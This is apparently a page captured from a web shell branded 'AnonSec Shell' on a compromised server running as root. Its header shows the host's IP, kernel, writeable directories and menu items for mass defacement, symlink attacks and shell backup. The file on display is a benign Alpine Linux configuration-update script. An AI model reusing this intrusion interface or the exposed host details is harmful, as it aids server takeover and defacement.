AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 3.145.152.226   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /sbin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /sbin/update-conf
#!/bin/sh

VERSION=3.16.2-r0
PREFIX=
: ${LIBDIR=$PREFIX/lib}
. "$LIBDIR/libalpine.sh"

# set up temp dir
init_tmpdir TMPD

LBUCACHE="$TMPD/lbucache"

usage() {
	cat <<-__EOF__
		$PROGRAM $VERSION
		usage: $PROGRAM [-a|--all] [-i|--initd] [-l|--list] [-h|--help]

		options:
		  -a, --all    Select all updated files
		  -i, --initd  Use all new init.d scripts
		  -l, --list   List updated files
		  -h, --help   Show this help

	__EOF__
	exit $1
}

is_modified() {
	[ -f "$LBUCACHE" ] || lbu status -a | awk '{print $2}' > "$LBUCACHE"
	test -n "$( ( echo "$1" ; cat "$LBUCACHE" ) | sort | uniq -d)"
}

is_initd() {
	echo "$1" | grep etc/init.d/ > /dev/null
}

args=$(getopt -o ailh --long all,initd,list,help -n "$PROGRAM" -- "$@")
if [ $? -ne 0 ]; then
	usage "1" >&2
fi
eval set -- "$args"
while true; do
	case $1 in
		-a|--all) aflag="-a";;
		-i|--initd) iflag="-i";;
		-l|--list) lflag="-l";;
		-h|--help) usage 0;;
		--) shift; break;;
		'?') usage "1" >&2;;
	esac
	shift
done

if which vimdiff >/dev/null; then
	vflag=", Vimdiff old new"
	vflag2="/v"
fi

for apknew in $(find "$ROOT/etc" -name '*.apk-new') ; do
	p="${apknew%.apk-new}"
	f="${p#${ROOT}/}"

	if [ "$lflag" ] ; then

		# just list the file
		if [ "$aflag" ] || is_modified "$f" ; then
			echo "$p"
		fi

	elif [ "$aflag" ] || is_modified "$f" ; then
		if [ "$iflag" ] && is_initd "$f" ; then
			echo "Autoupdating $p"
			mv "$apknew" "$p"
			continue
		fi

		diff -u "$p" "$apknew"

		# ask user what to do with the file
		unset resp
		while [ -z "$resp" ] ; do
			echo "New $p available:"
			ask "Quit, Next, Show diff, Edit new${vflag}, Zap new, Use new (q/n/s/e${vflag2}/z/u)" s
			case "$resp" in
				q) exit;;
				n) continue;;
				s) diff -u "$p" "$apknew" | ${PAGER:-less}
				   unset resp
				   ;;
				e) ${EDITOR:-vi} "$apknew" ; unset resp;;
				v) if [ "$vflag" ]; then
					vimdiff "$p" "$apknew"
				   fi
				   unset resp;;
				z) rm "$apknew";;
				u) mv "$apknew" "$p";;
				*) unset resp;;
			esac
		done
	else
		# auto update
		echo "Autoupdating unchanged $p"
		mv "$apknew" "$p"
	fi
done

Anon7 - 2022
AnonSec Team